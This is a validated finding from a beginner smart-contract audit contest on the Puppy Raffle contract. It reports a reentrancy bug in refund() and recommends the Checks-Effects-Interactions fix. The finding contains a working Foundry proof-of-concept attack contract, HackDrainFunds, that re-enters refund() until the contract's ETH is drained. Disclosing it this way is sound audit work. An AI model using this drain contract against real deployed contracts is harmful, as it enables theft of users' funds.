First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy vulnerability in refund(uint256) allows all funds to be stolen

0xdangit

Summary

The refund(uint256 playerIndex) function does not implement the Checks-Effects-Interactions pattern, and as a result is vulnerable to reentrancy, allowing all funds to be drained from the contract.

Vulnerability Details

Once a player has entered the raffle, they can call PuppyRaffle:refund(uint256 playerIndex) to get a refund of their entrance fee. However, the function sends the refund before it updates the status of the player. A malicious contract HackDrainFunds can repeatedly call the PuppyRaffle:refund() function from its HackDrainFunds:receive() function, until all the stored ETH in the raffle contract has been transferred to the malicious contract.

Impact

All funds can be drained from the contract by a player who has only entered the raffle once.
See the Foundry/Forge PoC below - note that the HackDrainFunds contract has no withdraw functionality to avoid cluttering the code. The test testDrainContractViaRefund() should be copied into the PuppyRaffleTest contract, and makes use of the PuppyRaffleTest:playersEntered() function.

Code
function testDrainContractViaRefund() public playersEntered {
address attacker = address(0xda);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
​
HackDrainFunds hack = new HackDrainFunds{value: 1 ether}(address(puppyRaffle));
​
hack.attack();
assertEq(address(puppyRaffle).balance, 0);
}
​
// Attack contract that will steal the funds.
contract HackDrainFunds {
PuppyRaffle puppyRaffle;
uint256 playerIndex;
​
constructor(address victim) payable {
puppyRaffle = PuppyRaffle(victim);
}
​
function attack() external {
address[] memory addresses = new address[](1);
addresses[0] = address(this);
​
// Enter the raffle - send required entrance fee.
puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(addresses);
​
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
​
// Get a refund of our entrance fee - will cause receive() below to be executed.
puppyRaffle.refund(playerIndex);
}
​
receive() payable external {
// Check the contract still has funds to steal.
if(address(puppyRaffle).balance >= puppyRaffle.entranceFee()) {
puppyRaffle.refund(playerIndex);
}
}
}

Tools Used

Foundry/Forge

Recommendations

Apply the Checks-Effects-Interactions pattern to PuppyRaffle:refund() and update the players[playerIndex] value before transferring the entrance fee to the caller.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!